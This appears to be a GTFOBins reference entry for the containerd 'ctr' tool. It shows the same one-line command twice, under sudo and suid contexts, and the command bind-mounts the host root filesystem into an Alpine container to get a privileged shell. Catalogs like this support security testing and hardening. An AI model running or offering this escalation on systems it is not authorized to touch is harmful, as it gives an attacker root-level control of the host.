CatalogGTFOBins

GTFO · Tool

ctr

2 techniquesLinuxGTFOBinsGPL-3.0

shell

ExecutionPrivilege EscalationLinux

An image must be already present, for example: ``` ctr images pull docker.io/library/alpine:latest ```

ctr run --rm --mount type=bind,src=/,dst=/,options=rbind -t docker.io/library/alpine:latest x
Evidence
Upstream reference
Environment
Containers
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
sudo
Native
shell
MITRE
T1059

shell

ExecutionPrivilege EscalationLinux

An image must be already present, for example: ``` ctr images pull docker.io/library/alpine:latest ```

ctr run --rm --mount type=bind,src=/,dst=/,options=rbind -t docker.io/library/alpine:latest x
Evidence
Upstream reference
Environment
Containers
Compatibility
Linux reference. macOS compatibility has not been checked for this command and execution context.
Context
suid
Native
shell
MITRE
T1059